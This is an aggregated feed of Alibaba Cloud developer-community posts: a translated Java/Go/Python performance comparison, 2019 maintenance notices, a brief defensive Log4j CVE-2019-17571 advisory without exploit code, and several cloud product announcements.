        阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术圈。”

        ]]>
        未编译 Python 代码比 Go 慢 100 倍 Fri, 02 May 2025 09:39:04 +0800 原文链接
        在我看来,编译型代码有两个明显的优势:

        每次修改代码都可以得到验证,甚至是在开始运行代码之前。

        更快的执行速度。根据具体情况,代码可能被编译成非常底层的运行指令。

        我之所以要写这篇文章,是想比较一下编译型代码的执行速度会比解释型快多少。

        因为我偏爱编译型编程语言,所以现在有个问题:我手头有很多感兴趣的代码,但它们都是用 Python 写的,我该怎么办?全部重写?部分重写?完全不重写?

        先入之见
        在这篇文章里,我通过比较 Java 、 Go 和 Python 在处理不同任务时的性能表现来验证我对它们的一些先入之见。首先是 Python,我正在考虑要不要把它替换掉。至于 Java,我已经是 20 多年的粉丝了,一路看着它成熟,不管是性能还是功能都在变得更好。最后是 Go,我两年前才开始用它,但真的很喜欢它。虽然 Go 相比 Java 还缺失了一些特性,比如类继承,但它的语法简洁而紧凑,编译和执行速度都很快,生成的代码也很紧凑,还提供了优雅的 goroutine 来实现并发处理。

        以下是我的一些先入之见。

        编译型代码的执行速度比解释型代码要快一个数量级。之前,我比较了使用 JIT 和不使用 JIT 编译 Java 代码所获得的性能,它们的比率大概是 30 比 1。

        Go 的运行速度比 Java 要快一点。我记得在之前的工作中做过一些测试,发现 Go 在处理某些任务时要比 Java 快 30%,但最近一些文章又说 Java 比 Go 快。

        先来测试一把我在之前的一篇文章中通过一些代码比较过 JIT 的性能,后来使用 Python 和 Go 也实现了一遍。这段代码计算 100 的 Fibonacci 数值,每一轮计算 50 次,并打印执行时间(纳秒),共计算 200 轮。代码可以在 GitHub 上找到。

        三种语言的输出结果看起来像这样:

        复制代码

        Java   Go    Python
        ...
        122    123   11683
        119    107   11539
        123    104   11358
        120    115   11926
        119    118   11973
        120    104   11377
        109    103   12960
        127    122   15683
        112    106   11482
        ...
        

        平均值是这样:

        复制代码

        Java   Go    Python
        130    105   10050
        

        可以看到,在计算 Fibonacci 数值时,Java 比 Go 要慢一些,大概慢 24%,而 Python 几乎慢了 100 倍,也就是 9458%。

        这个结果验证了我最初对 Java 和 Go 的判断,但让我感到吃惊的是 Python 的表现,它慢得不只是一个数量级,是两个!

        我在想 Python 为什么会花这么多时间。

        我首先想到的是,很多人关注的是 Python 的易用性,并通过牺牲性能来快速获得处理结果。我相信数据科学家们都是这么想的。况且有这么多现成的库可以用,为什么要去找其他的?迟早会有人优化它们的。

        第二个原因是很多人没有比较过不同的实现,因为很多初创公司在激烈的竞争中忙于做出产品,根本无暇顾及什么优化不优化。

        第三个原因,有一些方式可以让同样的 Python 代码跑得更快。

        把 Python 代码编译一下会如何
        在做了一些调研之后,我决定使用 PyPy 测试一下相同的 Python 代码。PyPy 是 Python 的另一个实现,它本身就是使用 Python 开发的,包含了一个像 Java 那样的 JIT 编译器。跟 Java 一样,我们需要忽略初始的输出,并跳过 JIT 编译过程,得到的结果如下:

        复制代码

        Java   Go    Python    PyPy
        130    105   10050     1887
        

        PyPy 的平均响应速度比 Python 快 5 倍,但仍然比 Go 慢 20 倍。

        更多的测试
        以上的测试主要集中在数值的计算上,如果回到最开始所说的 Python 代码,我还需要关注:

        Kafka、HTTP 监听器和数据库的 IO;

        解析 JSON 消息。

        总结
        本文通过执行简单的数学运算得出这样的结论:Go 的执行速度比 Java 快一些,比解释运行的 Python 快 2 个数量级。

        基于这样的结果,我个人是不会使用 Go 来替换 Java 的。

        另一方面,在高负载的关键任务上使用 Python 不是一个好的选择。如果你正面临这种情况,可以考虑使用 Python 编译器作为短期的应急方案。

        在决定是否要重写 Python 代码时,还需要考虑到其他因素,比如 IO 和 CPU 方面的问题,但这些超出本文的范围了。

        有人提醒我,使用 Go 和 Java 的 64 位整型只能准确计算出 92 的 Fibonacci 数值,再往后会出现溢出(译者:所以代码后来改成了计算 90 的 Fibonacci 数值)。但即使是这样,本文的结论仍然是有效的。

        ]]>
        【升级】12月19日至1月19日对象存储OSS日志系统升级通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【对象存储OSS】【升级通知】

        升级窗口:北京时间2019年12月19日 00:00 - 2020年1月19日 00:00
        升级内容:对所有地域的OSS公共云日志系统进行热升级。
        升级影响:感谢您一直以来对对象存储(OSS)的支持,为了进一步提高服务质量,对象存储计划于上述升级窗口期内陆续对日志系统进行热升级。在对某一个地域升级时(升级持续时间大概为5分钟),有极少部分日志可能会重复收集一次,造成日志推送(Logging)和实时日志出现极少量日志重复,资源监控报表统计数据会略微偏大。
        给您带来的不便敬请谅解,有任何问题,可随时通过工单或服务电话95187联系反馈。

        ]]>
        【升级】12月19日国际高防和游戏盾系统升级通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【DDos高防/游戏盾】【升级通知】

        升级窗口:北京时间 2019年12月19日 10:00 - 12:00

        升级内容:DDoS高防(国际)和游戏盾新加坡节点进行系统升级操作
        升级影响:升级期间业务无影响,极端情况下部分IP需要重新连接,会导致TCP连接闪断1-3次。闪断对短连接和具备自动重连的长连接业务基本无影响,请确保您在业务上做好重连重试机制,以增强业务的容错能力。

        给您带来的不便敬请谅解,有任何问题,可随时通过工单或服务电话95187联系反馈。

        ]]>
        【升级】12月25日、31日DDoS高防(国际)系统升级通知(更新) Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【DDoS高防】【升级通知】

        升级窗口:(已更新)

        北京时间 2019年12月25日 00:00-04:00
        北京时间 2019年12月31日 00:00-04:00

        升级内容:DDoS高防(国际)产品香港、马来西亚机房进行网络升级操作
        升级影响:升级期间,业务无影响,极端情况下部分IP需要重新连接,会导致TCP连接闪断2-4次。闪断对短连接和具备自动重连的长连接业务基本无影响,请确保您在业务上做好重连重试机制,以增强业务的容错能力。

        给您带来的不便敬请谅解,有任何问题,可随时通过工单或服务电话95187联系反馈。

        ]]>
        【升级】12月24日DDoS高防(旧版)系统升级通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【DDos高防(旧版)】【升级通知】

        升级窗口:北京时间 2019年12月24日 02:00 - 08:00

        升级内容:DDoS高防(旧版)武汉电信机房进行系统升级操作
        升级影响:升级期间,业务无影响,极端情况下部分IP需要重新连接,会导致TCP连接闪断2-4次。闪断对短连接和具备自动重连的长连接业务基本无影响,请确保您在业务上做好重连重试机制,以增强业务的容错能力。

        给您带来的不便敬请谅解,有任何问题,可随时通过工单或服务电话95187联系反馈。

        ]]>
        【升级】12月25日云解析DNS系统升级通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【云解析DNS】【升级通知】
        升级窗口:北京时间 2019年12月25日 22:00 - 24:00
        升级内容:云解析DNS计划于上述时间段进行内部系统升级。

        升级影响:升级期间,通过云解析DNS控制台或者OpenAPI进行DNS解析时,可能会发生短暂失败现象,但是不影响线上DNS的实际解析结果。请用户日常操作尽量避开升级时间窗口。

        给您带来的不便敬请谅解,有任何问题,可随时通过工单或服务电话95187联系反馈。

        ]]>
        【漏洞预警】Apache Log4j < 2.8.2 SocketServer反序列化漏洞(CVE-2019-17571) Fri, 02 May 2025 09:39:04 +0800

        2019年12月19日,阿里云应急响应中心监测到Apache Log4j官方披露1.2系列版本的Log4j存在反序列化漏洞(CVE-2019-17571)。


        漏洞描述

        Log4j 1.2系列版本引入了一个SocketServer类,该类在处理反序列化操作时可导致任意代码执行。Log4j是最常用的apache日志开源项目,使用非常广泛。在使用Log4j的SocketServer类创建TCP或UDP Socket监听服务处理接受数据,且数据可被攻击者篡改时可实现漏洞利用。利用场景苛刻,风险较低。


        漏洞评级

        CVE-2019-17571 低危


        影响版本

        Log4j 1.2系列版本


        影响版本

        Log4j >= 2.8.2


        安全建议

        1. 升级Log4j至安全版本:https://logging.apache.org/log4j/2.x/

        2. 排查并禁止是否使用Log4j的SocketServer类创建TCP或UDP Socket服务,未使用Log4j的SocketServer类功能不受漏洞影响。


        相关链接

        https://logging.apache.org/log4j/1.2/

        https://seclists.org/oss-sec/2019/q4/167



        我们会关注后续进展,请随时关注官方公告。

        如有任何问题,可随时通过工单反馈。

        阿里云应急响应中心

        2019.12.24

        ]]>
        阿里云正式发布小程序Serverless 为用户提供一套代码多端使用-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 阿里云宣布正式推出小程序Serverless,阿里云小程序Serverless提供包括云函数、数据存储、文件存储等一整套后端服务开发套件,以及集成了经济体业务能力API的业务套件。开发者通过API方式即可获取云函数、数据存储、文件存储等IaaS层技术能力,不需要关心服务器或底层运维设施,可以更专注于代码和业务本身。也可以在函数里直接使用阿里经济体内比如支付宝的会员、支付、卡券等业务能力。结合小程序开发者IDE工具,还可以体验从代码开发到代码发布的一站式研发流程。

        • 云函数
        云函数服务支持使用Node.js进行开发。作为开发者,您可以通过小程序IDE将代码提交到云端运行,在客户端使用Serverless提供的API进行调用。您还可以在云函数中直接通过API调用数据存储和文件存储的服务资源。

        • 数据存储
        数据存储服务是基于MongoDB托管在云端的数据库,数据以JSON格式存储。数据库中的每条记录都是一个JSON格式的对象。一个数据库可以有多个集合(相当于关系型数据中的表)。大家可以在客户端(如支付宝小程序)内直接操作数据,也可以在云函数中读写数据。
        在小程序客户端代码里,我们可以通过 mpserverless.db对象调用数据存储的大量 API 方法,也可以通过云函数直接调用同一个服务空间的数据库服务。

        • 文件存储
        文件存储服务支持文本、图片和其他由用户生成的内容存储到云端。在小程序的客户端代码里,我们可以通过mpserverless.file对象调用文件存储相关的API,也可以通过云函数直接调用同一个服务空间的文件存储服务。图片上传成功后,系统会自动生成一个资源链接。开发者可以在小程序中使用该图片地址。

        • 多端的能力
        Serverless也支持对微信小程序的开发。在开发微信小程序时,下载Serverless的客户端SDK,并在Serverless控制台配置好微信小程序的APPID和APPSecret后,即可在开发微信小程序是使用Serverless。

        • 端侧业务的能力集成
        开发支付宝小程序或微信小程序时,引入Serverless客户端SDK2.0版本,可以使用云函数直接调用支付宝或微信的海量开放接口。
        image

        同时,小程序Serverless具有降低开发成本、自动弹性伸缩、提升运维效率、零资源成本启动、支持一云多端 5大优势:
        • 降低开发成本
        Serverless的FaaS+BaaS解决方案,使得前端开发者书写少量代码即可使用丰富的云能力构建复杂应用

        • 提升运维效率
        Serverless提供代码全托管模式,无需考虑服务器、网络等IT基础设施的维护,减少运维投入

        • 自动弹性伸缩
        对使用者屏蔽复杂的扩缩容逻辑,提供自动的资源扩展能力。服务商无需再为业务波动调配资源

        同时底层能力由阿里云函数计算、存储、数据库团队提供强有力的技术保障,支持弹性扩容,同时提供可用性保障。

        • 零资源成本启动
        按运行时收费,只为代码实际运行消耗的资源付费,真正实现0成本启动,资源使用率100%

        • 支持一云多端
        适配多种平台的小程序端框架,一套代码多端使用。
        面向小程序场景提供的serverless开发套件,开发者无需关心服务器和进行底层设施运维,专注于代码逻辑和业务本身,具备极简运维、多端适配、按需使用、弹性扩容等优势,帮助开发者快速部署小程序。

        阿里小程序云新品发布会:直播回放
        阿里小程序云:了解更多

        ]]>
        阿里云物联网平台IoT Studio,帮助用户经济高效的完成物联网应用开发-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

        查看详情:物联网应用开发 (IoT Studio)
        点击了解:“阿里云新品发布会频道”
        立即订阅:阿里云新品发布会·周刊

        近年来,在物联网市场蓬勃发展、商业机会层出不穷的同时,大量物联网企业在实际项目交付中经常面临应用开发成本高,需求定制化程度高、投入产出比低等一系列问题。阿里云物联网平台IoT Studio开发服务,是阿里云整合在应用开发领域的丰富经验倾力打造的一站式、低成本、高稳定、易定制的物联网生产力工具,旨在帮助用户经济高效的完成物联网应用开发。

        什么是IoT Studio?

        IoT Studio是阿里云针对物联网场景提供的生产力工具,是阿里云物联网平台的重要组成部分。可覆盖各个物联网行业核心应用场景,比如云端组态开发、设备相关后台系统搭建、设备数据与云端服务连接等,帮助用户高效经济地完成物联网场景相关的服务及应用开发。IoT Studio提供了可视化应用开发、服务开发等一系列便捷的物联网开发工具,帮助用户解决物联网开发过程中常见的成本高、开发链路长、技术栈复杂、定制化强、方案移植困难等问题,重新定义物联网应用开发。

        IoT Studio的产品功能有哪些?

        第一,IoT Studio提供面向各个行业提供场景化解决方案模板,企业可以直接利用现有的(包含设备,应用和服务的)解决方案模版来开发自己的业务,将原有需要几周开发过程缩短到几天,让企业以更小的开发成本撬动更高的商业价值。
        第二,IoT Studio提供了可视化应用开发的功能。用户通过简单的可视化拖拽的方式,即可将各种组件、图表与设备相关的数据源进行关联,几乎无需任何编程经验,便可完成物联网应用开发的整套过程,就像使用PPT一样的简单。
        第三,IoT Studio提供了服务开发的功能。用户可以很方便的实现设备之间的联动、设备与服务之间的数据流转。IoT Studio同时打通了阿里云API市场、用户可以低成本地利用各种人工智能及数据分析的API。通过可视化的方式开发、构建、调试、及一键完成云端服务地部署,在灵活简单开发的同时保证服务的稳定性。

        IoT Studio的产品优势有哪些?

        1.应用服务可视化搭建:用户可以通过拖拽、配置操作,简单快速地完成设备数据监控相关的Web页面、移动应用、API服务的开发。物联网企业可以专注于核心业务,从传统开发的繁琐细节中脱身,有效提升开发效率。
        2.设备数据无缝集成:设备相关的属性、服务、事件等数据均可从阿里云物联网平台设备接入和管理模块中直接获取,大大降低物联网开发工作量。
        3.开发资源丰富全面:各开发平台均拥有数量众多的组件和丰富的API。随着产品迭代升级,组件库会愈加丰富,IoT Studio帮助您提升开发效率。
        4.无需部署、即刻交付:使用IoT Studio,应用服务开发完毕后,直接托管在云端,支持直接预览、使用。无需部署即可交付使用,免除您额外购买服务器等产品的烦恼。

        查看详情:物联网应用开发 (IoT Studio)
        点击了解:阿里云新品发布会频道
        立即订阅:阿里云新品发布会·周刊

        ]]>
        详解阿里云存储网关商业化发布会-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 阿里云存储网关以阿里云对象存储OSS为后端存储,为云上和云下应用提供业界标准的文件存储服务(NFS和SMB)和块存储服务(iSCSI)。云存储网关可以帮助用户建立混合云存储架构,例如:数据分层,弹性负载,备份和归档到阿里云。云存储网关同时支持阿里云上部署和本地数据中心部署。在阿里云上可以通过云存储网关控制台一键部署,有多种型号配置。在本地数据中心支持虚拟化部署模式,提供ova,vhd和qcow2三种格式,分别支持主流的vSphere,Hyper-v和KVM平台。

        1.应用场景

        • 数据备份和归档上云,迁移
          ①数据备份:传统备份软件通过云存储网关将数据备份到OSS,实现备份数据长期保留,以及备份数据的容灾存放

        ②冷数据归档:冷数据通过云存储网关写入OSS的低频和归档库中

        • 存储空间云上弹性扩容
          线下传统企业应用使用块存储协议或文件协议,需要存储空间扩容,如:视频监控, 或企业应用产生的大量冷数据需要长期保存
        • 数据共享和分发
          通过多个异地部署的文件网关实例,对接同一个阿里云OSS存储桶,可以实现快速的异地文件共享和分发,适合多个分支机构之间互相同步数据和共享
        • 适配传统应用,作为二级存储
          云存储网关提供协议转换功能,传统企业应用无需修改,就可直接使用海量公共云存储空间

        2.产品特点
        阿里云存储网关支持云缓存和云复制两种模式,可以管理亿级小文件和海量存储空间,轻松应对客户数据上云和存储空间弹性扩容。阿里云存储网关还提供很多特色功能方便用户使用,如:

        • 忽略删除功能,可以有效防护前端应用或者人为误操作。保证删除的操作不会影响到已经上传到阿里云OSS的数据,确保云端数据的完整性,实现云端灾备。
          自动反向同步功能,可以按照预设的间隔时间,自动刷新云存储网关的本地缓存,及时发现挂载的OSS存储桶中对象的变化。

        3.产品收费模式
        阿里云存储网关在客户数据中心部署采用软件许可证收费模式。阿里云上部署按照网关实例型号和缓存盘收费,同时提供按量付费和预付费模式。计费模式简单明了,方便用户使用和规划预算。

        4.产品使用简介
        a)开通云存储网关服务
        客户可以前往云存储网关官网页面来开通云存储网关服务,点击页面中的立即开通,云存储网关服务开通后会跳转至控制台,对网关的管理操作都可以在云存储网关控制台进行。
        通过云存储网关控制台,客户可以看到自己在该区域云存储网关的统计信息,如网关数量,数据存储用量等。在创建云存储网关前,需要先在概览页这里创建一个网关集群,网关集群可以理解为管理一组网关实例的单元,这样当客户网关数量较多时便于管理。
        1
        b)创建网关
        创建网关集群后,点击网关列表,通过点击右上角的蓝色创建按钮来创建一个新的网关,填写网关的名称及期望部署的位置,是线上部署还是部署在线下环境中,同时选择网关类型。
        2
        客户可以根据实际业务对于性能的需求选择网关的型号,参考网关型号规格和性能介绍页面
        3
        选择付费信息及到期后回收或者保留实例的选项,付费分为按量付费及包年包月折扣套餐,确认好付费信息后点击下一步的页面,确认配置无误,点击完成按钮跳转至付费页面,付费成功后云存储网关就开通创建完成了。后续的共享创建和挂载可以参考:Linux挂载OSSWindows挂载OSS链接

        5.产品参考资料

        ]]>
        DataV教你如何给可视化应用一键美颜-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800
        如果你平时经常接触数据统计、数据展示和决策分析,相信你对DataV一定有所了解。DataV作为一站式实时数据可视化应用搭建工具,拥有图形化、拖拽式、近乎零代码的使用体验,能帮助大家轻松搭建属于自己的数据看板和数据大屏。

        什么是智能主题设计功能

        大家做可视化应用的时候可能会遇到一个问题,那就是需要给图表配色。不少的DataV用户总是担心自己的艺术素养会拖累大屏的颜值,比如说做出来像下图这样的应用效果:

        test

        test

        类似这样的大屏,大家的第一印象估计就是“土”。DataV也是借此推出了一个新功能:智能主题设计功能,专治这种用户不懂配色、团队没有设计的情况。有了这个功能,只需上传一张图,DataV就能自动识别和抽取配色,然后将这个配色自动应用到数据大屏上,从而实现整张屏幕配色与风格的统一。

        智能主题设计功能开箱体验

        功能1:配色方案自动学习

        都说实践出真知,就让我们来实践一番吧。说起来,最近做屏都比较流行科技风,像炫光紫啊、妖艳蓝啊、荧光绿等等,那不知道大家有没有见识过“摇滚风”的大屏呢?

        首先,我们先准备一张“摇滚风”的图片,打开「智能设计」功能,选择「自定义主题」,然后把刚刚准备好的图片上传,这样系统就会从图片中提取颜色,并生成一套配色方案,一张“摇滚风”配色的大屏马上就完成了。

        test

        如果这套方案中的某些颜色不是我们预期的效果,我们还可以使用颜色排序和颜色修改交互,修改配色方案中的颜色,从而得到符合我们预期的大屏。同时呢,我们还为大家提供了「算法优化」功能,「算法优化」配色方案中的颜色是协调一致的,并且提供有多套可选的色彩方案,所以我们可以选择最合适的主题并应用查看效果。

        test

        test

        如果觉得主题不错,大家还可以应用到其它大屏项目上,通过保存按钮进行保存,这样下次就可以直接使用了。另外,如果大家觉得搜索图片、上传图片、生成主题的流程还是太复杂,设计师大大也是贴心地为大家提供了多套内置主题,比如科技蓝、炫酷绿、活力橙等等,可供大家选择使用。你看,像下图这样的炫酷大屏一秒就能生成了。

        test

        功能2:滤镜配置微调优化

        DataV智能设计主题功能让数据可视化应用一键美颜,节省了不少颜色配置的工作量,也解决了没有设计基础的问题。同时,如果你的需求变更频繁,需要大屏快速切换风格,这个功能也能让你用最少的时间来达成效果。

        而除了提供颜色提取功能外,智能设计主题功能还配有滤镜设置菜单,可以通过调整滤镜色相、饱和度、亮度、对比度、不透明度这五个配置选项来得到不同的效果,比如下图所示的案例效果。该功能使用了颜色提取、聚类、主题色生成算法、CSS滤镜等多项技术,这个功能现在也是DataV产品的基础功能,各个版本都可以开箱使用哦。

        test

        有了智能设计主题这项功能,我们也是希望可以帮助用户节省掉重复繁琐的颜色配置操作,把更多的时间和精力放到业务梳理和数据分析上去,让数据可视化在大家的工作流中,可以发挥更大的价值。

        点击了解“DataV数据可视化”
        立即使用:“DataV购买详情页
        优惠体验:“新用户享一个月免费体验

        ]]>
        SaaS加速器,到底加速了谁? 剖析阿里云的SaaS战略:企业和ISV不可错过的好文-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 过去二十年,中国诞生了大批To C的高市值互联网巨头,2C的领域高速发展,而2B领域一直不温不火。近两年来,在C端流量饱和,B端数字化转型来临的背景下,中国越来越多的科技公司已经慢慢将触角延伸到了B端。“To B or not To B,结果还是To B”已经成为业内探讨的重要话题。作为典型的TO B领域,云计算一直是各巨头的必争之地。过去十年内,云计算的基础设施在高速成长, IaaS领域呈现出高度竞争的状态,且布局相对趋于稳定。如何在云计算领域加强企业服务成为巨头们面临的一大挑战。 在海外,在Salesforce、Workday等SaaS公司异军突起,而传统企业服务巨头Oracle,SAP也积极在向SaaS模式转型。时至今日, 美国企业服务市场的每个领域,基本上都有SaaS成功的身影。而中国的大部分SaaS企业还在温饱线上挣扎。

        阿里云不做SaaS,但会不断开放PaaS层能力

        随着IaaS领域竞争的白热化, 如果只做IaaS层, 最终客户只能通过资源价格来选择厂商, 这一层对于企业只是简单的成本节省的计算:各个厂商提供的产品和服务日趋雷同,企业客户无法根据差异化价值来进行选择,更无法深入的帮助企业提升效率,加快业务创新与迭代。 在企业对定制化产品和服务有强烈需求的情况下,PaaS能够帮助企业和伙伴以更高的效率完成业务系统的开发、定制和集成。效率的提升意味着业务系统开发门槛的降低,人员和系统的成本降低,最重要的是,迭代速度的提升。业务更加敏捷,就能够帮助企业更好的适应和引领业务变化,帮助企业做强做大。所以,建设好PaaS 层的能力至关重要,PaaS同时也会赋予SaaS建设更多的可能性。在此背景下,进入2019年以来,云计算在走过大规模的IaaS投资阶段后,领先企业纷纷开始在PaaS加速布局。

        今年三月,阿里云正式发布“不做SaaS,倡导被集成”的生态策略, 坚定的承诺让伙伴来做更多更好的SaaS,把企业服务的空间交给对业务领域和企业有深度认知的伙伴。与此同时发布了SaaS加速器,作为阿里云SaaS生态战略的具体落地体现。SaaS加速器是SaaS生态的商业平台和技术平台, 其存在的目标很简单,就是让伙伴更好的做SaaS,卖SaaS,服务好企业。SaaS加速器的商业平台包括集市和阿里云心选两种模式,帮助伙伴利用阿里的渠道,品牌,资本等优势,加速SaaS的商业售卖和服务,获取更多的客户,增加业务收入和客户粘性,跨越SaaS业务增长的鸿沟,成为SaaS独角兽。技术平台则可以帮助ISV完成SaaS产品的开发,上云,定制和集成。这意味着,阿里云将利用自己的核心优势,专注于IaaS层、PaaS层的成熟度、稳定性和连接能力的打造,为伙伴提供完善的云基础设施,云平台与数据处理体系。在此之上,阿里云开放技术能力,将SaaS的打造开放给优质的生态合作伙伴。SaaS加速器计划发布以来,阿里云一直秉承着这个理念和思路,专注得为合作伙伴开拓SaaS市场,加速SaaS业务拓展和产品构建。

        无论是做SaaS还是PaaS,最终都是帮助企业解决一个问题:如何通过业务系统的高效构建和修改,去满足企业的不断发展和变化的业务需求。伙伴的领域Know-How,加上阿里云商业和技术侧的加持,这可能是一个帮助企业实现数字化转型,满足业务诉求的有效解决方案。

        企业:PaaS or SaaS,自研或购买

        云计算2.0时代,越来越多企业客户的需求不再局限于单一的IaaS,而是融合生态协同效应与行业定制化需求的IaaS、PaaS、SaaS一体化云服务。关于如何构建企业的业务系统,从原始需求衍生出来,企业可以有基于PaaS基础上自建业务系统(Build),或者是购买、定制SaaS(Buy)这两个选择。

        对于大型企业,中小企业来说,不同的企业规模和能力,也决定了企业对于自建或者购买会有不同的选择。综合看, 会有“大型企业自建SaaS”“大型企业购买/定制SaaS”“中小型企业自建SaaS”“中小型企业购买/定制SaaS”这四个不同的构建模式。阿里云希望以更加开放的姿态,为不同的场景提供相应的方法和路径,去解决企业客户的痛点和难点。

        对于大型企业来说,首先自建业务系统意味着需要较高的成本投入和人员管理难度。企业的业务流程越复杂,建设难度相对越大,周期越长,所需投入就越多;其次,自建业务系统的迭代速度依赖于自有IT人员的带宽,优秀的业务开发人员是人才市场上的稀缺资源,自建往往不能跟上企业需求快速发展的节奏。所以,如果大型企业有两条路可以选择,一是使用合适的架构和云服务,如阿里云的中台业务架构和技术架构,企业完成企业的PaaS搭建,在此基础上降低业务系统开发维护的难度,并提高开发的效率;另一种方式是通过阿里云心选去获取产品质量和服务均有保障的SaaS,同时,阿里云也会开放APaaS(应用PaaS)的平台能力和工具,帮助企业降低开发门槛、提升开发效率,解决定制迭代慢的问题。

        对于中小型企业来说,它可能没有能力去自建SaaS,本身也不需要PaaS的多样性,他们更多在乎的是如何快速搭建应用,而这一点,APaaS刚好可以完美解决,包括购买之后定制效率不高的问题也能解决,甚至有些能力强的成长型公司用了APaaS以后,可以直接自建SaaS。

        绝大部分的中小型企业的需求仍然是:在哪里能购买到既适合企业使用场景又有品质保障的SaaS?现在国内的SaaS公司非常多,但品质参差不齐,阿里云心选可能是其中的一个解决方案。作为SaaS加速器中的重要一环,阿里云心选是由阿里云去挑选”质量最优、服务最优、口碑最优”的精品软件,云市场官方自营品牌背书,提供优质云上软件服务,更安全、更便捷,整个的核心就是从产品的供应链上把控品质,满足企业一站式应用需求。目前心选SaaS的品类也在不断扩充中,据悉,在9月底的杭州云栖大会上阿里云也会公布第三批心选SaaS。

        ISV:不同类型,殊途同归

        SaaS市场的前景毋庸置疑。由于SaaS产品的丰富多元,SaaS生态的多层纵深,不可能出现巨头通吃的局面。只有形成良好的协作关系,才能瓜分这一块巨大的蛋糕。阿里云,也在积极寻求和不同种类的ISV的合作模式。不管是大型的ISV和中小型的ISV,阿里云提供非侵入式、非独占式的能力,让伙伴可以自由选择。

        第一,对于传统管理软件厂商而言,阿里云的SaaS战略既是一个挑战,也是一个机会。随着被集成不断深入,西门子、SAP、金蝶等国际和国内顶级的ISV与阿里云的合作也在不断加深,全球最大CRM软件服务提供商Salesforce也宣布将战略性的联合阿里云向企业客户提供服务和支持。在SaaS市场上,强强联合是最佳选择。

        第二,对于SaaS创新厂商来说,他们往往面临构建难、定制难、缺平台、缺商机这些痛点。阿里云SaaS加速器能够为这些厂商提供应用开发、集成、上云、售卖的全链路解决方案,去解决他们的痛点和问题。具体来说,SaaS加速器将以云市场为核心,解决合作伙伴规模化、商业化的难题;以PaaS技术为核心,提供便捷式开发工具为合作企业满足定制化服务开发提速;以上云工具包服务“组合拳”的形式,为生态伙伴提供阿里云迁云底层技术,保障伙伴应用上云的安全、便捷和高效,并能显著提升客户应用的使用体验。

        第三,对于有客群的渠道伙伴,可以利用阿里云提供的业务生成能力,快速构建客户群需求的产品和行业解决方案。特别是具备行业知识的合作伙伴,由于行业纵深和其专业性,其价值无法被忽视。目前阿里云已经建立了总经销商、区域经销商等多种渠道,多种模式的体系。实现了全国企业客户多层次,多方位的覆盖。

        第四,对于系统集成商来说,阿里云无疑为他们提供了丰富多样的产品矩阵,能够帮助他们满足客户定制的需求,提升定制效率,降低集成成本等。如SaaS加速器中囊括的ApaaS——0代码/低代码开发平台,以及全域集成解决方案等。

        有人说,中国企业愿意为软件付费的意愿,以及为SaaS付费的意愿不是很强烈。但是阿里云认为,客户从来不是为软件或者硬件付费的,他是为价值付费的。只有让客户认可价值,付费才会自然而然的发生。而SaaS是给企业客户呈现商业价值最直接和高效的一种产品形态,阿里云真正在意的是,帮助合作伙伴推出的SaaS产品,是不是能够直击企业痛点,是否能够满足企业客户的需求并且在企业客户需求满足的情况下,进一步产生价值。
        阿里云SaaS战略,即SaaS加速器发布至今,也已经累积了不少成功的案例。第一个,畅捷通和SaaS加速器合作以后,成功SaaS化,通过云市场的商业运作,其产品上线三个月营收破千万;第二个,阿里云和浩鲸科技共建了党建云这个新产品,上线后共覆盖了27个省市,400万多党员,帮助浩鲸扩大了市场规模。第三个,云梦网络与SaaS加速器合作,在企业建站市场里面不断开阔,合作一年半,云梦网络就获得了五万家的新增客户,企业年收入已达亿级,这也是SaaS加速器产生的首个营收独角兽。第四个,夺冠互动和SaaS加速器合作,提供了各个细分行业的小程序,已获取了5000家的客户,而且绝大部分客户来自三四五线城市,成功抓住了下沉市场。第五个,在行业纵深方面,百胜软件和SaaS加速器的RPA合作,总共实现了188个流程,这些流程自动化的场景已经覆盖了85%以上的零售行业的场景;谷瞰信息通过和SaaS加速器的宜搭合作,产品开发周期就从半年缩短到1个月,项目交付周期缩短了2/3,研发成本投入降低为原来的1/10。医院个性化需求的得到满足,大力推进了传统医疗行业的数字化转型。

        面对快速增长的SaaS市场,未来,阿里云将仍然用开放的心态,与云生态合作伙伴共赢并进,携手迈入全面云的新征程。阿里云在SaaS生态上又会有何新进展,敬请关注9.26杭州云栖大会。
        阿里云数据智能技术峰会”带你了解更多,硬核技术,普惠AI。全面了解阿里云覆盖云服务、AI开发平台、算法、产业AI的全数智能力。

        ]]>
        全面了解企业如何实现云上IT治理-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 企业上云的现状与趋势

        云计算,如今已经成为了像水和电一般关系到国计民生的国家基础设施。云计算为企业带了前所未有的资源交付效率和运维效率的提升,同时也用全新的技术帮助企业在新的价值网络中创造新的商业赛道、挖掘新的商业模式。越来越多的企业开始主动或被动地尝试使用云,而那些已经尝到云“甜头”的企业在加速上云节奏,不断将创新业务、非核心的企业业务、乃至企业核心业务逐步迁移上云。

        企业的上云步骤,一般可分为“尝鲜”和“云化”两个阶段。

        • 在“尝鲜”阶段,企业初始做云化,一般会从开发测试环境开始,或者选择企业的创新业务、非核心业务去尝试构建云原生应用,尝试云产品,对比不同云服务以及基础设施架构。
        • 在“云化”阶段,企业对基础设施进行改造,在企业信息安全和成本控制允许的情况下,将更多业务迁移到云上来,既要兼顾企业云上业务发展的便捷、高效与速度,同时需要帮助企业在云上的安全管控、成本优化等做好保驾护航。

        在“云化”阶段,随着企业云上业务量的增加、云上业务对企业的重要性或者核心程度的增加,对于有着多年内部 IT 管理业务和经验的企业来说,原来“深藏不露”的企业 IT 管理部门势必被推到云上管理的前台,配合业务部门,为企业在云上的资源购买和使用、云上业务应用或服务等提供云上 IT 运维管理和支持。随之而来的,还有企业的财务与安全合规部门,他们将对企业在云上的业务从财务管控和安全合规风控的角度提出不同的管理要求。企业在追求效率和速度的同时,不得不考虑统一管控、安全、成本控制、自动化、性能等企业管理视角的业务需求。

